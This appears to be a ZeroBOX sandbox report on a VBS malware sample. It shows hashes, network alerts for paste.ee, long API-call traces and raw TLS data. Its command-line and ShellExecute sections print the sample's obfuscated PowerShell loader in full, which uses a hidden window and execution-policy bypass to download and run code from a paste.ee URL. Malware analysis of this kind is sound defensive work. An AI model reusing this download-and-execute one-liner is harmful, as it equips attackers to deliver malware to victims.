popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

eaz.txt.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 29, 2024, 4:48 p.m. July 29, 2024, 4:50 p.m.
Size 8.3KB
Type ASCII text, with CRLF line terminators
MD5 ee3604ddfe9c20f08d2bf9e3ec7c7ac5
SHA256 2f1a1aad5c36af209e66982d4939a76d8467d474f3c604a5fa3eb173cb3101bd
CRC32 80CD52F5
ssdeep 192:GiFSTRuYgmY9CfjdUxdNGwpw3xb4FK+F8S7jXsaBZPk+oyRcaMu+JNeitQn4eM8B:Z8tnK
Yara
  • Antivirus - Contains references to security software

Name Response Post-Analysis Lookup
paste.ee
A 172.67.187.200
A 104.21.84.67
172.67.187.200
IP Address Status Action
164.124.101.2 Active Moloch
172.67.187.200 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49164 -> 172.67.187.200:443 2034978 ET POLICY Pastebin-style Service (paste .ee) in TLS SNI Potential Corporate Privacy Violation
TCP 192.168.56.101:49164 -> 172.67.187.200:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
UDP 192.168.56.101:59002 -> 164.124.101.2:53 2054041 ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) Misc activity

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49164
172.67.187.200:443 		C=US, O=Google Trust Services, CN=WE1 CN=paste.ee db:ac:96:3c:aa:07:4d:6f:90:48:a6:34:79:1d:71:cf:4d:ef:d9:c2

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: IsPublic IsSerial Name BaseType
console_handle: 0x0000001b
1 1 0

WriteConsoleW

 buffer: True True Byte[] System.Array
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: True True Byte[] System.Array
console_handle: 0x00000027
1 1 0

WriteConsoleW

 buffer: True True Byte[] System.Array
console_handle: 0x0000002b
1 1 0

WriteConsoleW

 buffer: Invoke-Expression : The '<' operator is reserved for future use.
console_handle: 0x0000003f
1 1 0

WriteConsoleW

 buffer: At line:1 char:4
console_handle: 0x0000004b
1 1 0

WriteConsoleW

 buffer: + IeX <<<< (NeW-OBJeCT NeT.WeBCLIeNT).DOWNLOADSTRING('https://paste.ee/d/80ee0/
console_handle: 0x00000057
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ParserError: (<:OperatorToken) [Invoke-Expressio
console_handle: 0x0000006f
1 1 0

WriteConsoleW

 buffer: n], ParseException
console_handle: 0x0000007b
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : RedirectionNotSupported,Microsoft.PowerShell.Com
console_handle: 0x00000087
1 1 0

WriteConsoleW

 buffer: mands.InvokeExpressionCommand
console_handle: 0x00000093
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce5b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceeb0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cea30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cea30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003cea30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce670
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ceb70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce230
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003ce730
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x06341de8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://paste.ee/d/80ee0/0
request GET https://paste.ee/d/80ee0/0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 1376256
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02af0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72511000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2720
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72512000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02af1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02af2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0265a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02633000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02634000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0262b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02652000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02635000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0265c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x029e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02636000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02653000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02654000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02655000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02656000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02657000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02658000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02659000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a41000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a42000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a43000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a44000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a45000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a46000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a47000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a48000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a49000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a4f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2720
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ae4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
cmdline POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
cmdline Cmd.exe /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: Cmd.exe
parameters: /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''https://paste.ee/d/80ee0/0'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
filepath: Cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received Wf§I_vÃx²š: f1ÆÂ^ÑøSÆ*=DOWNGRD ¶ÒâÛí•ofÝ`òÑ`Ô9ãšrµÏ™î’ñW9¬LÀ ÿ 
Data received  Ò
Data received Î Ë¡0‚0‚B ­ú«>Þ9ÙdïÖ.¬0 *†HÎ=0;1 0 UUS10U Google Trust Services1 0 UWE10 240622144918Z 240920144917Z010Upaste.ee0Y0*†HÎ=*†HÎ=BA>Ó-z V/¥\ˆô]Oàê Ðé¡÷!f žÄr œq%þ.Mç7bíþKîç°¸—µíÁÂzÑÐ|O] ?’£‚M0‚I0Uÿ€0U% 0 +0 Uÿ00UBz~‹<"ñã6¸ri¸N bW{‰0U#0€w’5gÄÿ¨Ì©æ{ـy{̓ù80^+R0P0'+0†http://o.pki.goog/s/we1/rfo0%+0†http://i.pki.goog/we1.crt0U0‚paste.ee‚ *.paste.ee0U  0 0g 06U/0-0+ ) '†%http://c.pki.goog/we1/t4Y_tS4oQ9A.crl0‚ +ÖyõòðußáV몯µœ†q¨À2N®VÙn§õ¥jÑÁ;¾R\@£BÏF0D ;2Áj³,ÛÊŽø‡Œ¢<U×+vªÇëÑäÇÝ1“r¤%¤ "8} ԓ\åIC¼‚PW:Äo‡˜¤Ñ×ì㕓™æwvÿˆ? ¶û•QÂaÌõ‡º4´¤Í»)ÜhB ŸægLZ:t@£B3H0F!çSaÔ))˜,}8 b?7î›k&æ›õј‚õ÷!†œ‘þµ¦1 ¨¾ yÞ²*ªZxŸ¦‹$h–]ÞvG0 *†HÎ=I0F!ÄsHv¬N–À°ú@àOœž•/Ø\ÜÜÞstÝí…V!àMv$” å,´X¡‰šP›·ÐïÿB±õ0ôj‹eK£0‚Ÿ0‚% ów—,"Jv]¶Ö…ã0 *†HÎ=0G1 0 UUS1"0 U Google Trust Services LLC10U GTS Root R40 231213090000Z 290220140000Z0;1 0 UUS10U Google Trust Services1 0 UWE10Y0*†HÎ=*†HÎ=BoÍ:þgWGL!…@ÂG]»XG@Á\…Æ7çÕ|í†K›Ù×¥ ø˜ÄÆèžÿY,&˜õæ&%»úV£þ0û0Uÿ†0U%0++0Uÿ0ÿ0Uw’5gÄÿ¨Ì©æ{ـy{̓ù80U#0€€LÖëtÿI6£ÕØüµ>Åjð”Œ04+(0&0$+0†http://i.pki.goog/r4.crt0+U$0"0   †http://c.pki.goog/r/r4.crl0U  0 0g 0 *†HÎ=h0e1ç«QÖ÷C•ÎuþÑ”ÕÌ@Az&¾Ø ó2-=®#HR>dy¯õ¦,nU±0&‰Ìhb牫~èÖD~ãLI¿l€b4¸²¡~:ˆP¼§ˆ Ÿ}sìRAMîâV~0‚z0‚b å0¿3C¾Ý‚I=Š0  *†H†÷  0W1 0 